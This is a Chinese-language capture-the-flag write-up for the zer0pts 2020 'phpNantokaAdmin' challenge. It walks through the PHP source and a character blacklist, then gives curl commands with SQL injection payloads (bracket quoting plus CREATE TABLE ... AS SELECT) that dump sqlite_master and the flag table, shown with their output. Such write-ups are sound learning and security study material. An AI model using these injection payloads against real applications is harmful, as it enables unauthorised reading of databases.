phpNantokaAdmin is a management tool for SQLite.
Challenge (URL)
题目文件: phpNantokaAdmin_49b112bf908ecef40f17684f4120b0aa.tar.gz
题目是一个SQLite数据库管理工具,实现的功能只有table的创建,展示,record的插入,首先确认一下flag在哪里:
1 2 3 4 5 6 <?php ︙ $pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);' ); $pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");' ); $pdo->query($sql); ︙
创建了一个flag表,其中插入了flag记录。表名和列名是config.php中定义的常量,另外:
1 2 3 4 5 6 7 8 9 <?php ︙ $pdo = new PDO('sqlite:db/' . $_SESSION['database' ]); $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . FLAG_TABLE . "' LIMIT 1;" ); $table_name = $stmt->fetch(PDO::FETCH_ASSOC)['name' ]; $stmt = $pdo->query("PRAGMA table_info(`{$table_name}`);" ); $column_names = $stmt->fetchAll(PDO::FETCH_ASSOC); ︙
这样限制了可以展示的表仅限于flag表之外用户创建的表。
index.php
中可以看出,创建表时表名,列名,列类型可能存在SQL注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php ︙ if (!is_valid($table_name)) { flash('Table name contains dangerous characters.' ); } if (strlen($table_name) < 4 || 32 < strlen($table_name)) { flash('Table name must be 4-32 characters.' ); } if (count($columns) <= 0 || 10 < count($columns)) { flash('Number of columns is up to 10.' ); } $sql = "CREATE TABLE {$table_name} (" ; $sql .= "dummy1 TEXT, dummy2 TEXT" ; for ($i = 0 ; $i < count($columns); $i++) { $column = (string) ($columns[$i]['name' ] ?? '' ); $type = (string) ($columns[$i]['type' ] ?? '' ); if (!is_valid($column) || !is_valid($type)) { flash('Column name or type contains dangerous characters.' ); } if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) { flash('Column name and type must be 1-32 characters.' ); } $sql .= ', ' ; $sql .= "`$column` $type" ; } $sql .= ');' ; ︙
但是,参数使用了utils.php
中定义的is_valid
函数进行一次检查,禁用了一些特殊字符:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ︙ function is_valid ($string) { $banword = [ "[\"#'()*,\\/\\\\`-]" ]; $regexp = '/' . implode('|' , $banword) . '/i' ; if (preg_match($regexp, $string)) { return false ; } return true ; } ︙
首先确认下能够通过is_valid
函数的字符:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $ cat test.php <?php function is_valid ($string) { $banword = [ "[\"#'()*,\\/\\\\`-]" ]; $regexp = '/' . implode('|' , $banword) . '/i' ; if (preg_match($regexp, $string)) { return false ; } return true ; } $res = '' ; for ($i = 0x20 ; $i < 0x7f ; $i++) { $c = chr($i); if (is_valid($c)) { $res .= $c; } } echo $res . "\n" ;$ php test.php !$%&+.0123456789 :;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_abcdefghijklmnopqrstuvwxyz{|}~
注意结果,[
和]
可以使用,在SQLite中,可以使用[
和]
代替反引号`,来包裹关键词(文档 )
另外,SQLite中可以使用CREATE TABLE … AS
这样的用法,从其他的表的内容来创建新的表。
利用这些,在创建表时,表名t AS SELECT sql [
, 列名abc,列类型]FROM sqlite_master;
, 这样拼接后的SQL为:
1 CREATE TABLE t AS SELECT sql [ (dummy1 TEXT, dummy2 TEXT, `abc` ]FROM sqlite_master;);
等价于CREATE TABLE t AS SELECT sql FROM sqlite_master;
,(dummy1…
被解释为sql的别名。这样在展示表时可以获得插入flag时的语句,其中包括flag表名和列名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ curl 'http://3.112.201.75:8002/?page=create' -b cookie.txt -c cookie.txt -L -H 'Content-Type: application/x-www-form-urlencoded' --data 'table_name=t+AS+SELECT+sql+%5B&columns%5B0%5D%5Bname%5D=abc&columns%5B0%5D%5Btype%5D=%5DFROM+sqlite_master%3B' <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script> <title>phpNantokaAdmin</title> </head> <body> <h1>phpNantokaAdmin</h1> <h2>t (<a href="?page=delete">Delete table</a>)</h2> <form action="?page=insert" method="POST"> <table> <tr> <th> (dummy1 TEXT, dummy2 TEXT, `abc` </th> </tr> <tr> <td>CREATE TABLE `flag_bf1811da` (`flag_2a2d04c3` TEXT)</td> </tr> <tr> <td></td> </tr> <tr> <td><input type="text" name="values[]"></td> </tr> </table> <input type="submit" value="Insert values"> </form> </body> </html>
得到了flag表名和列名,替换语句中的sql
和sqlite_master
即可获得flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $ curl 'http://3.112.201.75:8002/?page=create' -b cookie.txt -c cookie.txt -L -H 'Content-Type: application/x-www-form-urlencoded' --data 'table_name=t+AS+SELECT+flag_2a2d04c3+%5B&columns%5B0%5D%5Bname%5D=abc&columns%5B0%5D%5Btype%5D=%5DFROM+flag_bf1811da%3B' <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script> <title>phpNantokaAdmin</title> </head> <body> <h1>phpNantokaAdmin</h1> <h2>t (<a href="?page=delete">Delete table</a>)</h2> <form action="?page=insert" method="POST"> <table> <tr> <th> (dummy1 TEXT, dummy2 TEXT, `abc` </th> </tr> <tr> <td>zer0pts{Smile_Sweet_Sister_Sadistic_Surprise_Service_SQL_Injection!!}</td> </tr> <tr> <td><input type="text" name="values[]"></td> </tr> </table> <input type="submit" value="Insert values"> </form> </body> </html>
参考资料 https://st98.github.io/diary/posts/2020-03-09-zer0pts-ctf-2020.html
最終更新:2020-03-10 14:21:31
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会